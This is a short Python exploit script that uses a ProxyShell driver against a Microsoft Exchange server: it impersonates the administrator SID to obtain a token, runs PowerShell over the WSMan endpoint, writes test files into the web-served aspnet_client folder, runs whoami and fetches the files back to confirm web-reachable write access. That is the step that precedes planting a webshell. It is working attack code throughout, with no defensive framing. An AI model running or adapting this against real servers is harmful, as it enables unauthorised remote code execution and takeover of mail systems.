#!/usr/bin/env python3
# Re-test language mode and direct file write capability on the Exchange WSMan endpoint
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

ip = sys.argv[1]
ps = P.ProxyShell(f"https://{ip}", timeout=20)
ps.get_fqdn(); ps.get_legacydn(); print("email:", ps.email)
ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)
def run(s):
    try:
        o, e = P.wsman_shell(s, port)
        print("CMD:", s)
        print("  OUT:", [str(x)[:300] for x in o])
        print("  ERR:", [str(x)[:300] for x in e])
        return o, e
    except Exception as ex:
        print("CMD:", s, "EXC:", ex); return None, None

run('$ExecutionContext.SessionState.LanguageMode')
run('[System.IO.File]::WriteAllText("C:\\inetpub\\wwwroot\\aspnet_client\\clmtest.txt","HELLO_DIRECT_WRITE")')
run('Set-Content -Path "C:\\inetpub\\wwwroot\\aspnet_client\\clmtest2.txt" -Value "HELLO_SETCONTENT" -Encoding Ascii')
run('whoami')
run('cmd /c whoami')
# fetch test files
for n in ("clmtest.txt", "clmtest2.txt"):
    try:
        r = requests.get(f"https://{ip}/aspnet_client/{n}", verify=False, timeout=15)
        print("FETCH", n, r.status_code, repr(r.content[:100]))
    except Exception as e:
        print("FETCH", n, "err", e)
